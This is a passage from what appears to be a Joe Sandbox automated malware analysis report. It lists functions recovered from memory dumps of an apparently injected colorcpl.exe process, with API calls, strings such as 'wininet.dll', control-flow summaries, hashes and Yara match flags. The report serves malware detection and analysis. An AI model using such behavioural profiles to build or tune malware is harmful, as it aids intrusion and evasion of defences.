                                                                                                                                                                                    • Instruction ID: 83d929d15ca26241bf8fde50f0dc86b8ea6f6b7dcd7d917d71ae5fa8eaa6ac86
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6913fddc48c119e8dde916b71b87b116dd61b999376f93d0ef81f2c3273bf1ef
                                                                                                                                                                                    • Instruction Fuzzy Hash: C190022921341016F5807158550960A00058BD1206F95DA15A502A558CCD15D9ED5322
                                                                                                                                                                                    Function 04812EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 04185e7b838492f92c77690e6126473716f0dfc9fcd8c4c22dc3dff553d36836
                                                                                                                                                                                    • Instruction ID: 01cc29469427fe0501736b30c51087c374eeb78e10bba0058125c6815f2d9668
                                                                                                                                                                                    • Opcode Fuzzy Hash: 04185e7b838492f92c77690e6126473716f0dfc9fcd8c4c22dc3dff553d36836
                                                                                                                                                                                    • Instruction Fuzzy Hash: 2B90027120141416F5407158450574600058BD0305F55C611AA079554E8A59DED96666
                                                                                                                                                                                    Function 04812FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: fc20d9bccde2ed371211542444dfb6b049b68f7f41d68f64917626c0ea0de724
                                                                                                                                                                                    • Instruction ID: 02544b9f4f2c2d5df4cd4e570eb4d078c17b17c65e3e7868be980d0bd97a4338
                                                                                                                                                                                    • Opcode Fuzzy Hash: fc20d9bccde2ed371211542444dfb6b049b68f7f41d68f64917626c0ea0de724
                                                                                                                                                                                    • Instruction Fuzzy Hash: 93900221211C1056F60075684D15B0700058BD0307F55C715A5169554CCD15D9E55522
                                                                                                                                                                                    Function 04812F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: d49e21be13eb7adf5da59dffbf81eed76b47db7dc33cc216c18ec3834928aacc
                                                                                                                                                                                    • Instruction ID: e576edb884733d7881dca0f321e8034f1128b2eed50786f9cb6a24935e4f5086
                                                                                                                                                                                    • Opcode Fuzzy Hash: d49e21be13eb7adf5da59dffbf81eed76b47db7dc33cc216c18ec3834928aacc
                                                                                                                                                                                    • Instruction Fuzzy Hash: B690026134141456F50071584515B060005CBE1305F55C615E6079554D8A19DDD66127
                                                                                                                                                                                    Function 04812AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 5c4262b40e89d52194ff8ed407af5a20c97e09a77a1a46c166df7e6708b86b91
                                                                                                                                                                                    • Instruction ID: dfc01ec46f64844205d37dc4e70387d5625a389cfb3edb631b97905bd191953b
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5c4262b40e89d52194ff8ed407af5a20c97e09a77a1a46c166df7e6708b86b91
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1E900225211410172505B558070550700468BD5355355C621F602A550CDA21D9E55122
                                                                                                                                                                                    Function 04812BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 906e99afafe5ce327f7d77d6d029152d5dccdc641cff1777ca5de75a8478489e
                                                                                                                                                                                    • Instruction ID: 898a048a638bcd76e82b71df55bd5e99195aabd5460903bd48fc2459a7211275
                                                                                                                                                                                    • Opcode Fuzzy Hash: 906e99afafe5ce327f7d77d6d029152d5dccdc641cff1777ca5de75a8478489e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1590023120545856F54071584505A4600158BD0309F55C611A5079694D9A25DED9B662
                                                                                                                                                                                    Function 04812BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: e1ca381304777babe6fcae3970a8a6a70ff425eadda8e3ee3334842cfd54ca45
                                                                                                                                                                                    • Instruction ID: 0fa8c8e51fd45e7a0c98567ba9eeed6e8db44ebab51ee43dca9512f85b50a8d3
                                                                                                                                                                                    • Opcode Fuzzy Hash: e1ca381304777babe6fcae3970a8a6a70ff425eadda8e3ee3334842cfd54ca45
                                                                                                                                                                                    • Instruction Fuzzy Hash: BB90023120141816F5807158450564A00058BD1305F95C615A503A654DCE15DBDD77A2
                                                                                                                                                                                    Function 04812B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 25c3be095a639267740f2d796708423c687bb73c611b320f5b3d90b44bc52aef
                                                                                                                                                                                    • Instruction ID: a48176251d354aa54f97497057d0adbb7dc8c6df388f909a96504cc8b5755cfe
                                                                                                                                                                                    • Opcode Fuzzy Hash: 25c3be095a639267740f2d796708423c687bb73c611b320f5b3d90b44bc52aef
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1290026120241017650571584515616400A8BE0205B55C621E6029590DC925D9D56126
                                                                                                                                                                                    Function 048135C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 20858f25f0daf5da1e13003c6a1d87468dbafc8a6f50de7ceee360d82fec4efe
                                                                                                                                                                                    • Instruction ID: 9f5a17f684d2a913159fa466c01f1e864ff80baff6c83191a690088c5fad13ba
                                                                                                                                                                                    • Opcode Fuzzy Hash: 20858f25f0daf5da1e13003c6a1d87468dbafc8a6f50de7ceee360d82fec4efe
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0A90023160551416F5007158461570610058BD0205F65CA11A5439568D8B95DAD565A3
                                                                                                                                                                                    Function 005C9050 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 399 5c9050-5c9092 call 5cbd10 402 5c916c-5c9172 399->402 403 5c9098-5c90e8 call 5cbde0 call 5bacf0 call 5c4e50 399->403 410 5c90f0-5c9101 Sleep 403->410 411 5c9166-5c916a 410->411 412 5c9103-5c9109 410->412 411->402 411->410 413 5c910b-5c9131 call 5c8c70 412->413 414 5c9133-5c9154 call 5c8e80 412->414 418 5c9159-5c915c 413->418 414->418 418->411
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • Sleep.KERNELBASE(000007D0), ref: 005C90F8
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Sleep
                                                                                                                                                                                    • String ID: net.dll$wininet.dll
                                                                                                                                                                                    • API String ID: 3472027048-1269752229
                                                                                                                                                                                    • Opcode ID: 903636011b47a76445b793252602d533248bef24d411cc891738304e19197f69
                                                                                                                                                                                    • Instruction ID: 3a9dbc79b9a893dbf56b310d026aa6737edfb13d73fee596b37b4dff7bc69c45
                                                                                                                                                                                    • Opcode Fuzzy Hash: 903636011b47a76445b793252602d533248bef24d411cc891738304e19197f69
                                                                                                                                                                                    • Instruction Fuzzy Hash: 343186B6500745BFC714DFA4C88AF67BBB8FB88700F14851DF62A5B245DA30B650CBA5
                                                                                                                                                                                    Function 005C9049 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 79sleepCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 419 5c9049-5c907f 420 5c908b-5c9092 419->420 421 5c9086 call 5cbd10 419->421 422 5c916c-5c9172 420->422 423 5c9098-5c90e8 call 5cbde0 call 5bacf0 call 5c4e50 420->423 421->420 430 5c90f0-5c9101 Sleep 423->430 431 5c9166-5c916a 430->431 432 5c9103-5c9109 430->432 431->422 431->430 433 5c910b-5c9131 call 5c8c70 432->433 434 5c9133-5c9154 call 5c8e80 432->434 438 5c9159-5c915c 433->438 434->438 438->431
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • Sleep.KERNELBASE(000007D0), ref: 005C90F8
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Sleep
                                                                                                                                                                                    • String ID: net.dll$wininet.dll
                                                                                                                                                                                    • API String ID: 3472027048-1269752229
                                                                                                                                                                                    • Opcode ID: b13bb5534f4da7d0a17e5bff956e61304b4561bb6e2bad4fd38324b9f20a3f91
                                                                                                                                                                                    • Instruction ID: 236db17325ef15008ea9d2d28ec5db66b35bc29202e692dc0c0e2931a44a214b
                                                                                                                                                                                    • Opcode Fuzzy Hash: b13bb5534f4da7d0a17e5bff956e61304b4561bb6e2bad4fd38324b9f20a3f91
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0821A771900645BFC714DFA4C8CAF67BBB4FB44700F14811DF6196B245D770A550CB95
                                                                                                                                                                                    Function 005CA632 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29memoryCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 562 5ca632-5ca656 563 5ca65c-5ca671 RtlFreeHeap 562->563 564 5ca657 call 5caf30 562->564 564->563
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,005B3AF8), ref: 005CA66D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FreeHeap
                                                                                                                                                                                    • String ID: .z`
                                                                                                                                                                                    • API String ID: 3298025750-1441809116
                                                                                                                                                                                    • Opcode ID: 5bca1434af71235a765000b781c50ed5c4bf131192a700c4342c6be7842671a9
                                                                                                                                                                                    • Instruction ID: d5df67d23203ff0341041b82335f1b111d6ad7e1dd546d59d1b1dade8cbebaea
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5bca1434af71235a765000b781c50ed5c4bf131192a700c4342c6be7842671a9
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3DF030B52112046BD718DF58DC49EE77769FF48750F114659F9485B242D631E8118BA0
                                                                                                                                                                                    Function 005CA640 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,005B3AF8), ref: 005CA66D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FreeHeap
                                                                                                                                                                                    • String ID: .z`
                                                                                                                                                                                    • API String ID: 3298025750-1441809116
                                                                                                                                                                                    • Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
                                                                                                                                                                                    • Instruction ID: 5f8de6290c1c7d300ae6e83ffe3f9bb05197fc839f8ba51d5bc214f5bd69f888
                                                                                                                                                                                    • Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
                                                                                                                                                                                    • Instruction Fuzzy Hash: A5E046B5210208AFDB18EF99CC49EA77BACEF88754F018559FE085B242C630F910CAF0
                                                                                                                                                                                    Function 005CA600 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(6E\,?,005C4CAF,005C4CAF,?,005C4536,?,?,?,?,?,00000000,00000000,?), ref: 005CA62D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocateHeap
                                                                                                                                                                                    • String ID: 6E\
                                                                                                                                                                                    • API String ID: 1279760036-812967599
                                                                                                                                                                                    • Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
                                                                                                                                                                                    • Instruction ID: 5da425d06bf06e0498a0de53ebb67c7fbc31d56387d02bf77b9996f5f0df6863
                                                                                                                                                                                    • Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
                                                                                                                                                                                    • Instruction Fuzzy Hash: 49E012B5211208ABDB14EF99CC45EA77BACAF88654F118559BA085B242C630F9118AB0
                                                                                                                                                                                    Function 005B8310 Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 005B836A
                                                                                                                                                                                    • PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 005B838B
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MessagePostThread
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 1836367815-0
                                                                                                                                                                                    • Opcode ID: 11db2db6729fad1b2fe29d12422f9571aab132b5507ffda246947416a0e543a6
                                                                                                                                                                                    • Instruction ID: 151602b0caa59797b057e35f8314f2edcabcc2847ce47f60b193c4d8d98178a6
                                                                                                                                                                                    • Opcode Fuzzy Hash: 11db2db6729fad1b2fe29d12422f9571aab132b5507ffda246947416a0e543a6
                                                                                                                                                                                    • Instruction Fuzzy Hash: AB014431A802297BE721A6949C47FFE7B6C6B40F51F054119FF04BA1C1EAA4790647F6
                                                                                                                                                                                    Function 005BACF0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 005BAD62
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Load
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2234796835-0
                                                                                                                                                                                    • Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                    • Instruction ID: f26fbbbbddadcd2fca7c6aba9acd0d49472228c85574a558770bb7ebfc3e737d
                                                                                                                                                                                    • Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
                                                                                                                                                                                    • Instruction Fuzzy Hash: 500112B5D0010EBBDF10DAE4DC46FDDB778AB54308F1045A5E909A7641F631EB14CB51
                                                                                                                                                                                    Function 005CA791 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,?,005BF1D2,005BF1D2,?,00000000,?,?), ref: 005CA7D0
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: LookupPrivilegeValue
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3899507212-0
                                                                                                                                                                                    • Opcode ID: 3cbd036db815f1a6f831822f4f400f7b7e145f9e35e5d4bf65d90379d78bfa16
                                                                                                                                                                                    • Instruction ID: 5581324ecce48acfe217567931631e30c7e4f614e60af824e4f48c12abac15d7
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3cbd036db815f1a6f831822f4f400f7b7e145f9e35e5d4bf65d90379d78bfa16
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3D01ADB5210208AFDB14EF98DC80EEB7BA9EF88318F018559F90957202C630E9158AB1
                                                                                                                                                                                    Function 005CA6B0 Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 005CA704
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateInternalProcess
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2186235152-0
                                                                                                                                                                                    • Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
                                                                                                                                                                                    • Instruction ID: ead3d1a37c4db0be2501660a477073fbcbbc025714f6f69e23d0249946073064
                                                                                                                                                                                    • Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
                                                                                                                                                                                    • Instruction Fuzzy Hash: 0E01B2B2211108BFCB54DF89DC80EEB77ADAF8C754F158258FA0D97241C630E851CBA4
                                                                                                                                                                                    Function 005C9180 Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,005BF050,?,?,00000000), ref: 005C91BC
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: CreateThread
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2422867632-0
                                                                                                                                                                                    • Opcode ID: 3ca6a205792d7ef5e9bf1524afc8b1dc678e378c6025c1e3997efacd26045c0b
                                                                                                                                                                                    • Instruction ID: 328b40cb4c7b733a4b57f31d06ae6555cad9c0a231b4fd859c94c71ad7765c1c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3ca6a205792d7ef5e9bf1524afc8b1dc678e378c6025c1e3997efacd26045c0b
                                                                                                                                                                                    • Instruction Fuzzy Hash: 99E06D373802043AE2206599AC03FA7B69CAB81B20F15002AFA0DEA2C1D595F80142A9
                                                                                                                                                                                    Function 005C9176 Relevance: 1.5, APIs: 1, Instructions: 33threadCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,005BF050,?,?,00000000), ref: 005C91BC
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005B0000, based on PE: false
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_5b0000_colorcpl.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
